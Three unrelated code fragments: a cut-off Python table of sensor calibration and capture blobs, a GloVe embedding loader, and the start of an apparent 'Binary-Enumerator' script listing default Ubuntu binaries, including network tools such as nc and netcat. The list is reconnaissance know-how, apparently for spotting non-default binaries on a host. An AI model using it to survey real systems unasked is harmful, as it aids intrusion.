from .table_types import SensorTypeInfo, SensorCaptureProg SensorTypeInfo.table=[ SensorTypeInfo(sensor_type=0x00db, bytes_per_line=0x98, repeat_multiplier=1, lines_per_calibration_data=144, line_width=144, calibration_blob='101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9f'), SensorTypeInfo(sensor_type=0x00e4, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=100, line_width=112, calibration_blob='9392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e'), SensorTypeInfo(sensor_type=0x00ed, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'), SensorTypeInfo(sensor_type=0x0199, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'), SensorTypeInfo(sensor_type=0x00b5, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'), SensorTypeInfo(sensor_type=0x0885, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'), SensorTypeInfo(sensor_type=0x1055, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'), SensorTypeInfo(sensor_type=0x1825, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'), SensorTypeInfo(sensor_type=0x1ff5, bytes_per_line=0x78, repeat_multiplier=2, lines_per_calibration_data=112, line_width=112, calibration_blob='9b9a999796959392918f8e8d8b8a898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19181615141211100e0d0c0a090806'), SensorTypeInfo(sensor_type=0x00b3, bytes_per_line=0x60, repeat_multiplier=2, lines_per_calibration_data=84, line_width=85, calibration_blob='898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19'), SensorTypeInfo(sensor_type=0x143b, bytes_per_line=0x5c, repeat_multiplier=2, lines_per_calibration_data=84, line_width=84, calibration_blob='898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19'), SensorTypeInfo(sensor_type=0x08b1, bytes_per_line=0x58, repeat_multiplier=2, lines_per_calibration_data=78, line_width=78, calibration_blob='9b9a9996959392918f8e8d8b8a89878685837d7b7a7977767573716f6d6b6a695d5b5a595756555251504e4d4c4a41403e3d3c3a393432312c2a28261e1d1c1a19181615141211100d0c0a090806'), SensorTypeInfo(sensor_type=0x00e1, bytes_per_line=0x58, repeat_multiplier=2, lines_per_calibration_data=78, line_width=78, calibration_blob='9b9a9996959392918f8e8d8b8a89878685837d7b7a7977767573716f6d6b6a695d5b5a595756555251504e4d4c4a41403e3d3c3a393432312c2a28261e1d1c1a19181615141211100d0c0a090806'), SensorTypeInfo(sensor_type=0x00ea, bytes_per_line=0x5c, repeat_multiplier=1, lines_per_calibration_data=84, line_width=84, calibration_blob='898786858382817f7e7d7b7a797776757372716f6e6d6b6a696766656362615f5e5d5b5a595756555251504e4d4c4a49484645444241403e3d3c3a39383635343231302e2d2c2a29282625242221201e1d1c1a19'), SensorTypeInfo(sensor_type=0x0194, bytes_per_line=0x7c, repeat_multiplier=3, lines_per_calibration_data=84, line_width=114, calibration_blob='000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f50515253'), SensorTypeInfo(sensor_type=0x0126, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'), SensorTypeInfo(sensor_type=0x0117, bytes_per_line=0xa0, repeat_multiplier=4, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'), SensorTypeInfo(sensor_type=0x08f3, bytes_per_line=0xa0, repeat_multiplier=1, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'), SensorTypeInfo(sensor_type=0x08f6, bytes_per_line=0xa0, repeat_multiplier=1, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'), SensorTypeInfo(sensor_type=0x0121, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'), SensorTypeInfo(sensor_type=0x0b4b, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'), SensorTypeInfo(sensor_type=0x0b4d, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=56, line_width=144, calibration_blob='0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f40414243'), SensorTypeInfo(sensor_type=0x0130, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=40, line_width=144, calibration_blob='15161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3b'), SensorTypeInfo(sensor_type=0x0be2, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=40, line_width=144, calibration_blob='15161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3b'), SensorTypeInfo(sensor_type=0x0be1, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=40, line_width=144, calibration_blob='15161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3b'), SensorTypeInfo(sensor_type=0x0518, bytes_per_line=0xa0, repeat_multiplier=2, lines_per_calibration_data=40, line_width=144, calibration_blob='15161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3b'), SensorTypeInfo(sensor_type=0x0179, bytes_per_line=0x98, repeat_multiplier=3, lines_per_calibration_data=56, line_width=144, calibration_blob='3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172'), ] SensorCaptureProg.table=[ SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0x0, a0=0x0, a1=0x0, blobs=['23000000320074000000008000200000502077322820020030200000082110000c211000482105004c2105002020000024200000582000005c20000060204300682014006c2001247020012c842020008c20900190202c01942001809c200902a0200b19b4200000b8203a00bc201400c0200200c4200200c82008003300100000000080cc200000a101d0200000a10132004c0000000080dc20e803e0206401e420d002e8200001ec201400f0200500fc200000b8203a00140800000008040008080000080802001408300008080300140831001c081a004c11240050110000', '2a00080020010100100100002c002800802080200000000000013f4000000000080f080f00000000279c1000279c10000000000000000000340040000300000007160000240a59085a0701c9500aaa07010ada08db0701c9460b2107010800800a0088c9590a5a07010aa908aa0701c91f0ac900000c040100000000', '29000400000000003500040000000000']), SensorCaptureProg(major=0x6, minor=0x6, build=0x0, u1=0x0, dev_type=0x0, a0=0x0, a1=0x0, blobs=['23000000320074000000008000200000502077322820020030200000082110000c211000482105004c2105002020000024200000582000005c20000060204300682014006c2001247020012c842020008c20900190202c01942001809c200902a0200b19b4200000b8203a00bc201400c0200200c4200200c82008003300100000000080cc200000a101d0200000a10132004c0000000080dc20e803e0206401e420d002e8200001ec201400f0200500fc200000b8203a00140800000008040008080000080802001408300008080300140831001c081a004c11240050110000', '2a00080020010100100100002c002800802080200000000000013f4000000000080f080f00000000279c1000279c10000000000000000000340040000300000007160000240a59085a0701c9500aaa07010ada08db0701c9460b2107010800800a0088c9590a5a07010aa908aa0701c91f0ac900000c040100000000', '29000400000000003500040000000000']), SensorCaptureProg(major=0x6, minor=0x7, build=0x0, u1=0x0, dev_type=0x0, a0=0x0, a1=0x0, blobs=['23000000320074000000008000200000502077322820020030200000082110000c211000482105004c2105002020000024200000582000005c20000060204300682014006c2001247020012c842020008c20900190202c01942001809c200902a0200b19b4200000b8203a00bc201400c0200200c4200200c82008003300100000000080cc200000a101d0200000a10132004c0000000080dc20e803e0206401e420d002e8200001ec201400f0200500fc200000b8203a00140800000008040008080000080802001408300008080300140831001c081a004c11240050110000', '2a00080020010100100100002c002800802080200000000000013f4000000000080f080f00000000279c1000279c10000000000000000000340040000300000007160000240a59085a0701c9500aaa07010ada08db0701c9460b2107010800800a0088c9590a5a07010aa908aa0701c91f0ac900000c040100000000', '29000400000000003500040000000000']), SensorCaptureProg(major=0x6, minor=0x8, build=0x0, u1=0x0, dev_type=0x0, a0=0x0, a1=0x0, blobs=['23000000320074000000008000200000502077322820020030200000082110000c211000482105004c2105002020000024200000582000005c20000060204300682014006c2001247020012c842020008c20900190202c01942001809c200902a0200b19b4200000b8203a00bc201400c0200200c4200200c82008003300100000000080cc200000a101d0200000a10132004c0000000080dc20e803e0206401e420d002e8200001ec201400f0200500fc200000b8203a00140800000008040008080000080802001408300008080300140831001c081a004c11240050110000', '2a00080020010100100100002c002800802080200000000000013f4000000000080f080f00000000279c1000279c10000000000000000000340040000300000007160000240a59085a0701c9500aaa07010ada08db0701c9460b2107010800800a0088c9590a5a07010aa908aa0701c91f0ac900000c040100000000', '29000400000000003500040000000000']), SensorCaptureProg(major=0x6, minor=0xa, build=0x0, u1=0x0, dev_type=0x0, a0=0x0, a1=0x0, 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py

Python

mxnet_text_to_image/utils/glove.py

AyaLotfy/mxnet-text-to-image

d3500d6c69d317aa5d057e97ced95b35b7b0e635

[ "MIT" ]

2

2019-03-03T08:19:54.000Z

2019-04-09T03:28:00.000Z

mxnet_text_to_image/utils/glove.py

AyaLotfy/mxnet-text-to-image

d3500d6c69d317aa5d057e97ced95b35b7b0e635

[ "MIT" ]

1

2018-10-05T16:47:24.000Z

2018-11-12T18:20:34.000Z

mxnet_text_to_image/utils/glove.py

AyaLotfy/mxnet-text-to-image

d3500d6c69d317aa5d057e97ced95b35b7b0e635

[ "MIT" ]

2

2018-11-02T18:11:30.000Z

2020-05-14T02:31:15.000Z

from mxnet_text_to_image.utils.glove_loader import load_glove def glove_word2emb_300(data_dir_path): return load_glove(data_dir_path, embedding_dim=300)

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GiddyLinux/Binary-Enumerator

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GiddyLinux/Binary-Enumerator

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GiddyLinux/Binary-Enumerator

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import os import sys ubuntu_bin = ['mformat', 'aa-enabled', 'migrate-pubring-from-classic-gpg', 'aa-exec', 'mimeopen', 'aconnect', 'mimetype', 'acpi_listen', 'min12xxw', 'add-apt-repository', 'minfo', 'addpart', 'mkdir', 'alsabat', 'mkfifo', 'alsaloop', 'mkfontdir', 'alsamixer', 'mkfontscale', 'alsatplg', 'mkisofs', 'alsaucm', 'mkmanifest', 'amidi', 'mk_modmap', 'amixer', 'mknod', 'amuFormat.sh', 'mksquashfs', 'apg', 'mktemp', 'apgbfm', 'mkzftree', 'aplay', 'mlabel', 'aplaymidi', 'mmcli', 'apport-bug', 'mmd', 'apport-cli', 'mmount', 'apport-collect', 'mmove', 'apport-unpack', 'monitor-sensor', 'appres', 'more', 'appstreamcli', 'mount', 'apropos', 'mountpoint', 'apt', 'mousetweaks', 'apt-add-repository', 'mpartition', 'apt-cache', 'mrd', 'apt-cdrom', 'mren', 'apt-config', 'mscompress', 'aptdcon', 'msexpand', 'apt-extracttemplates', 'mshortname', 'apt-ftparchive', 'mshowfat', 'apt-get', 'mt', 'apt-key', 'mt-gnu', 'apt-mark', 'mtools', 'apt-sortpkgs', 'mtoolstest', 'apturl', 'mtr', 'apturl-gtk', 'mtr-packet', 'arch', 'mtype', 'arecord', 'mutter', 'arecordmidi', 'mv', 'arm2hpdl', 'mxtar', 'aseqdump', 'mzip', 'aseqnet', 'namei', 'aspell', 'nano', 'aspell-import', 'nautilus', 'atobm', 'nautilus-autorun-software', 'avahi-browse', 'nautilus-sendto', 'avahi-browse-domains', 'nawk', 'avahi-publish', 'nc', 'avahi-publish-address', 'ncal', 'avahi-publish-service', 'nc.openbsd', 'avahi-resolve', 'neqn', 'avahi-resolve-address', 'netcat', 'avahi-resolve-host-name', 'netkit-ftp', 'avahi-set-host-name', 'networkctl', 'awk', 'networkd-dispatcher', 'axfer', 'newgrp', 'b2sum', 'ngettext', 'base32', 'nice', 'base64', 'nisdomainname', 'basename', 'nl', 'bash', 'nm-applet', 'bashbug', 'nmcli', 'bc', 'nm-connection-editor', 'bccmd', 'nm-online', 'bdftopcf', 'nmtui', 'bdftruncate', 'nmtui-connect', 'bitmap', 'nmtui-edit', 'bluemoon', 'nmtui-hostname', 'bluetoothctl', 'nohup', 'bluetooth-sendto', 'notify-send', 'bmtoa', 'nproc', 'boltctl', 'nroff', 'bootctl', 'nsenter', 'brltty', 'nslookup', 'brltty-ctb', 'nstat', 'brltty-trtxt', 'nsupdate', 'brltty-ttb', 'ntfs-3g', 'broadwayd', 'ntfs-3g.probe', 'browse', 'ntfscat', 'bsd-from', 'ntfscluster', 'bsd-write', 'ntfscmp', 'btattach', 'ntfsdecrypt', 'btmgmt', 'ntfsfallocate', 'btmon', 'ntfsfix', 'bunzip2', 'ntfsinfo', 'busctl', 'ntfsls', 'busybox', 'ntfsmove', 'bwrap', 'ntfsrecover', 'bzcat', 'ntfssecaudit', 'bzcmp', 'ntfstruncate', 'bzdiff', 'ntfsusermap', 'bzegrep', 'ntfswipe', 'bzexe', 'numfmt', 'bzfgrep', 'nvidia-detector', 'bzgrep', 'oakdecode', 'bzip2', 'obexctl', 'bzip2recover', 'oclock', 'bzless', 'od', 'bzmore', 'oem-getlogs', 'cal', 'on_ac_power', 'calendar', 'openssl', 'calibrate_ppa', 'openvt', 'canberra-gtk-play', 'opldecode', 'cancel', 'orca', 'captoinfo', 'orca-dm-wrapper', 'cat', 'os-prober', 'catchsegv', 'p11-kit', 'catman', 'pacat', 'cautious-launcher', 'pacmd', 'cd-create-profile', 'pactl', 'cd-fix-profile', 'padsp', 'cd-iccdump', 'pager', 'cd-it8', 'pa-info', 'chacl', 'pamon', 'chage', 'paperconf', 'chardet3', 'paplay', 'chardetect3', 'parec', 'chattr', 'parecord', 'chcon', 'partx', 'check-language-support', 'passwd', 'chfn', 'paste', 'chgrp', 'pasuspender', 'chmod', 'patch', 'choom', 'pathchk', 'chown', 'pax11publish', 'chrt', 'pdb3', 'chsh', 'pdb3.8', 'chvt', 'pdf2dsc', 'ciptool', 'pdf2ps', 'ckbcomp', 'pdfattach', 'cksum', 'pdfdetach', 'clear', 'pdffonts', 'clear_console', 'pdfimages', 'cmp', 'pdfinfo', 'codepage', 'pdfseparate', 'col', 'pdfsig', 'colcrt', 'pdftocairo', 'colormgr', 'pdftohtml', 'colrm', 'pdftoppm', 'column', 'pdftops', 'comm', 'pdftotext', 'compose', 'pdfunite', 'corelist', 'peekfd', 'cp', 'perl', 'cpan', 'perl5.30.0', 'cpan5.30-x86_64-linux-gnu', 'perl5.30-x86_64-linux-gnu', 'cpio', 'perlbug', 'cpp', 'perldoc', 'cpp-9', 'perli11ndoc', 'c_rehash', 'perlivp', 'crontab', 'perlthanks', 'csplit', 'pf2afm', 'ctstat', 'pfbtopfa', 'cupstestppd', 'pftp', 'cut', 'pgrep', 'cvt', 'pic', 'cvtsudoers', 'pico', 'dash', 'piconv', 'date', 'pidof', 'dbus-cleanup-sockets', 'pinentry', 'dbus-daemon', 'pinentry-curses', 'dbus-launch', 'pinentry-gnome3', 'dbus-monitor', 'pinentry-x11', 'dbus-run-session', 'ping', 'dbus-send', 'ping4', 'dbus-update-activation-environment', 'ping6', 'dbus-uuidgen', 'pinky', 'dbxtool', 'pkaction', 'dc', 'pkcheck', 'dconf', 'pkcon', 'dd', 'pkexec', 'ddstdecode', 'pkg-config', 'deallocvt', 'pkill', 'debconf', 'pkmon', 'debconf-apt-progress', 'pkttyagent', 'debconf-communicate', 'pl2pm', 'debconf-copydb', 'pldd', 'debconf-escape', 'plog', 'debconf-set-selections', 'plymouth', 'debconf-show', 'pmap', 'debian-distro-info', 'pnm2ppa', 'deb-systemd-helper', 'pod2html', 'deb-systemd-invoke', 'pod2man', 'delpart', 'pod2text', 'delv', 'pod2usage', 'desktop-file-edit', 'podchecker', 'desktop-file-install', 'podselect', 'desktop-file-validate', 'poff', 'devdump', 'pon', 'df', 'POST', 'dfu-tool', 'ppdc', 'dh_bash-completion', 'ppdhtml', 'dh_installxmlcatalogs', 'ppdi', 'dh_perl_openssl', 'ppdmerge', 'diff', 'ppdpo', 'diff3', 'pphs', 'dig', 'pr', 'dir', 'precat', 'dircolors', 'preconv', 'dirmngr', 'preunzip', 'dirmngr-client', 'prezip', 'dirname', 'prezip-bin', 'dirsplit', 'print', 'distro-info', 'printafm', 'dmesg', 'printenv', 'dnsdomainname', 'printerbanner', 'domainname', 'printer-profile', 'do-release-upgrade', 'printf', 'dpkg', 'prlimit', 'dpkg-deb', 'prove', 'dpkg-divert', 'prtstat', 'dpkg-maintscript-helper', 'ps', 'dpkg-query', 'ps2ascii', 'dpkg-split', 'ps2epsi', 'dpkg-statoverride', 'ps2pdf', 'dpkg-trigger', 'ps2pdf12', 'driverless', 'ps2pdf13', 'du', 'ps2pdf14', 'dumpkeys', 'ps2pdfwr', 'dvipdf', 'ps2ps', 'echo', 'ps2ps2', 'ed', 'ps2txt', 'edit', 'psfaddtable', 'editor', 'psfgettable', 'editres', 'psfstriptable', 'egrep', 'psfxtable', 'eject', 'psicc', 'enc2xs', 'pslog', 'encguess', 'pstree', 'enchant-2', 'pstree.x11', 'enchant-lsmod-2', 'ptar', 'env', 'ptardiff', 'envsubst', 'ptargrep', 'eog', 'ptx', 'eps2eps', 'pulseaudio', 'eqn', 'pwd', 'esc-m', 'pwdx', 'eutp', 'py3clean', 'evince', 'py3compile', 'evince-previewer', 'py3versions', 'evince-thumbnailer', 'pydoc3', 'ex', 'pydoc3.8', 'expand', 'pygettext3', 'expiry', 'pygettext3.8', 'expr', 'pyjwt3', 'factor', 'python3', 'faillog', 'python3.8', 'fallocate', 'qpdldecode', 'false', 'quirks-handler', 'fc-cache', 'rbash', 'fc-cat', 'rcp', 'fc-conflist', 'rctest', 'fc-list', 'rdma', 'fc-match', 'readlink', 'fc-pattern', 'realpath', 'fc-query', 'red', 'fc-scan', 'rename.ul', 'fc-validate', 'rendercheck', 'fgconsole', 'renice', 'fgrep', 'reset', 'file', 'resizecons', 'file2brl', 'resizepart', 'file-roller', 'resolvectl', 'fincore', 'rev', 'find', 'rfcomm', 'findmnt', 'rgrep', 'firefox', 'rlogin', 'flock', 'rm', 'fmt', 'rmdir', 'fold', 'rnano', 'fonttosfnt', 'routef', 'foo2ddst', 'routel', 'foo2ddst-wrapper', 'rrsync', 'foo2hbpl2', 'rsh', 'foo2hbpl2-wrapper', 'rstart', 'foo2hiperc', 'rstartd', 'foo2hiperc-wrapper', 'rsync', 'foo2hp', 'rtstat', 'foo2hp2600-wrapper', 'runcon', 'foo2lava', 'run-mailcap', 'foo2lava-wrapper', 'run-parts', 'foo2oak', 'run-with-aspell', 'foo2oak-wrapper', 'rview', 'foo2qpdl', 'rygel', 'foo2qpdl-wrapper', 'sane-find-scanner', 'foo2slx', 'savelog', 'foo2slx-wrapper', 'sbattach', 'foo2xqx', 'sbkeysync', 'foo2xqx-wrapper', 'sbsiglist', 'foo2zjs', 'sbsign', 'foo2zjs-icc2ps', 'sbvarsign', 'foo2zjs-pstops', 'sbverify', 'foo2zjs-wrapper', 'scanimage', 'foomatic-rip', 'scp', 'fprintd-delete', 'scp-dbus-service', 'fprintd-enroll', 'screendump', 'fprintd-list', 'script', 'fprintd-verify', 'scriptreplay', 'free', 'sdiff', 'from', 'sdptool', 'ftp', 'seahorse', 'funzip', 'sed', 'fuser', 'see', 'fusermount', 'select-default-iwrap', 'fwupdagent', 'select-editor', 'fwupdate', 'sensible-browser', 'fwupdmgr', 'sensible-editor', 'fwupdtool', 'sensible-pager', 'fwupdtpmevlog', 'seq', 'gamemoded', 'session-migration', 'gamemoderun', 'sessreg', 'gamma4scanimage', 'setarch', 'gapplication', 'setfacl', 'gatttool', 'setfont', 'gcalccmd', 'setkeycodes', 'gcore', 'setleds', 'gcr-viewer', 'setlogcons', 'gdb', 'setmetamode', 'gdb-add-index', 'setpci', 'gdbserver', 'setpriv', 'gdbtui', 'setsid', 'gdbus', 'setterm', 'gdialog', 'setupcon', 'gdk-pixbuf-csource', 'setxkbmap', 'gdk-pixbuf-pixdata', 'sftp', 'gdk-pixbuf-thumbnailer', 'sg', 'gdmflexiserver', 'sh', 'gdm-screenshot', 'sha1sum', 'gedit', 'sha224sum', 'genisoimage', 'sha256sum', 'geqn', 'sha384sum', 'GET', 'sha512sum', 'getconf', 'shasum', 'geteltorito', 'showconsolefont', 'getent', 'showkey', 'getfacl', 'showrgb', 'getkeycodes', 'shred', 'getopt', 'shuf', 'gettext', 'skill', 'gettext.sh', 'slabtop', 'ghostscript', 'sleep', 'ginstall-info', 'slogin', 'gio', 'slxdecode', 'gio-querymodules', 'smproxy', 'gipddecode', 'snap', 'gjs', 'snapctl', 'gjs-console', 'snapfuse', 'gkbd-keyboard-display', 'snice', 'glib-compile-schemas', 'soelim', 'gnome-calculator', 'software-properties-gtk', 'gnome-characters', 'sort', 'gnome-control-center', 'spd-conf', 'gnome-disk-image-mounter', 'spd-say', 'gnome-disks', 'speaker-test', 'gnome-extensions', 'speech-dispatcher', 'gnome-font-viewer', 'spice-vdagent', 'gnome-help', 'splain', 'gnome-keyring', 'split', 'gnome-keyring-3', 'splitfont', 'gnome-keyring-daemon', 'ss', 'gnome-language-selector', 'ssh', 'gnome-logs', 'ssh-add', 'gnome-power-statistics', 'ssh-agent', 'gnome-screenshot', 'ssh-argv0', 'gnome-session', 'ssh-copy-id', 'gnome-session-custom-session', 'ssh-keygen', 'gnome-session-inhibit', 'ssh-keyscan', 'gnome-session-properties', 'start-pulseaudio-x11', 'gnome-session-quit', 'startx', 'gnome-shell', 'stat', 'gnome-shell-extension-tool', 'static-sh', 'gnome-shell-perf-tool', 'stdbuf', 'gnome-system-monitor', 'strace', 'gnome-terminal', 'strace-log-merge', 'gnome-terminal.real', 'stty', 'gnome-terminal.wrapper', 'su', 'gnome-text-editor', 'sudo', 'gnome-thumbnail-font', 'sudoedit', 'gnome-www-browser', 'sudoreplay', 'gpasswd', 'sum', 'gpg', 'symcryptrun', 'gpg-agent', 'sync', 'gpgcompose', 'system-config-printer', 'gpgconf', 'system-config-printer-applet', 'gpg-connect-agent', 'systemctl', 'gpgparsemail', 'systemd', 'gpgsm', 'systemd-analyze', 'gpgsplit', 'systemd-ask-password', 'gpgtar', 'systemd-cat', 'gpgv', 'systemd-cgls', 'gpg-wks-server', 'systemd-cgtop', 'gpg-zip', 'systemd-delta', 'gpic', 'systemd-detect-virt', 'gpu-manager', 'systemd-escape', 'grep', 'systemd-hwdb', 'gresource', 'systemd-id128', 'groff', 'systemd-inhibit', 'grog', 'systemd-machine-id-setup', 'grops', 'systemd-mount', 'grotty', 'systemd-notify', 'groups', 'systemd-path', 'grub-editenv', 'systemd-resolve', 'grub-file', 'systemd-run', 'grub-fstest', 'systemd-socket-activate', 'grub-glue-efi', 'systemd-stdio-bridge', 'grub-kbdcomp', 'systemd-sysusers', 'grub-menulst2cfg', 'systemd-tmpfiles', 'grub-mkfont', 'systemd-tty-ask-password-agent', 'grub-mkimage', 'systemd-umount', 'grub-mklayout', 'tabs', 'grub-mknetdir', 'tac', 'grub-mkpasswd-pbkdf2', 'tail', 'grub-mkrelpath', 'tar', 'grub-mkrescue', 'taskset', 'grub-mkstandalone', 'tbl', 'grub-mount', 'tee', 'grub-ntldr-img', 'telnet', 'grub-render-label', 'telnet.netkit', 'grub-script-check', 'tempfile', 'grub-syslinux2cfg', 'test', 'gs', 'tgz', 'gsbj', 'tic', 'gsdj', 'tificc', 'gsdj500', 'time', 'gsettings', 'timedatectl', 'gslj', 'timeout', 'gslp', 'tload', 'gsnd', 'toe', 'gst-device-monitor-1.0', 'top', 'gst-discoverer-1.0', 'touch', 'gst-inspect-1.0', 'tput', 'gst-launch-1.0', 'tr', 'gst-play-1.0', 'tracepath', 'gstreamer-codec-install', 'traceroute6', 'gst-typefind-1.0', 'traceroute6.iputils', 'gtbl', 'tracker', 'gtf', 'transicc', 'gtk-builder-tool', 'transset', 'gtk-encode-symbolic-svg', 'troff', 'gtk-launch', 'true', 'gtk-query-settings', 'truncate', 'gtk-update-icon-cache', 'trust', 'gunzip', 'tset', 'gvfs-cat', 'tsort', 'gvfs-copy', 'ttfread', 'gvfs-info', 'tty', 'gvfs-less', 'tzselect', 'gvfs-ls', 'ua', 'gvfs-mime', 'ubuntu-advantage', 'gvfs-mkdir', 'ubuntu-bug', 'gvfs-monitor-dir', 'ubuntu-core-launcher', 'gvfs-monitor-file', 'ubuntu-distro-info', 'gvfs-mount', 'ubuntu-drivers', 'gvfs-move', 'ubuntu-report', 'gvfs-open', 'ubuntu-security-status', 'gvfs-rename', 'ucf', 'gvfs-rm', 'ucfq', 'gvfs-save', 'ucfr', 'gvfs-set-attribute', 'ucs2any', 'gvfs-trash', 'udevadm', 'gvfs-tree', 'udisksctl', 'gzexe', 'ul', 'gzip', 'ulockmgr_server', 'h2ph', 'umax_pp', 'h2xs', 'umount', 'hbpldecode', 'uname', 'hciattach', 'unattended-upgrade', 'hciconfig', 'unattended-upgrades', 'hcitool', 'uncompress', 'hd', 'unexpand', 'head', 'unicode_start', 'HEAD', 'unicode_stop', 'helpztags', 'uniq', 'hex2hcd', 'unity-scope-loader', 'hexdump', 'unlink', 'hipercdecode', 'unlz4', 'host', 'unlzma', 'hostid', 'unmkinitramfs', 'hostname', 'unshare', 'hostnamectl', 'unsquashfs', 'hp-align', 'unxz', 'hp-check', 'unzip', 'hp-clean', 'unzipsfx', 'hp-colorcal', 'update-alternatives', 'hp-config_usb_printer', 'update-desktop-database', 'hp-doctor', 'update-manager', 'hp-firmware', 'update-mime-database', 'hp-info', 'update-notifier', 'hp-levels', 'upower', 'hp-logcapture', 'uptime', 'hp-makeuri', 'usb-devices', 'hp-pkservice', 'usbhid-dump', 'hp-plugin', 'usb_printerid', 'hp-plugin-ubuntu', 'usbreset', 'hp-probe', 'users', 'hp-query', 'utmpdump', 'hp-scan', 'uuidgen', 'hp-setup', 'uuidparse', 'hp-testpage', 'uz', 'hp-timedate', 'vdir', 'hwe-support-status', 'VGAuthService', 'i386', 'vi', 'i686-linux-gnu-pkg-config', 'view', 'ibus', 'viewres', 'ibus-daemon', 'vim.tiny', 'ibus-setup', 'vmhgfs-fuse', 'ibus-table-createdb', 'vmstat', 'iceauth', 'vm-support', 'ico', 'vmtoolsd', 'iconv', 'vmware-alias-import', 'id', 'vmware-checkvm', 'iecset', 'vmwarectrl', 'ijs_pxljr', 'vmware-hgfsclient', 'im-config', 'vmware-namespace-cmd', 'im-launch', 'vmware-rpctool', 'info', 'vmware-toolbox-cmd', 'infobrowser', 'vmware-user', 'infocmp', 'vmware-user-suid-wrapper', 'infotocap', 'vmware-vgauth-cmd', 'inputattach', 'vmware-vmblock-fuse', 'install', 'vmware-xferlogs', 'install-info', 'vmwgfxctrl', 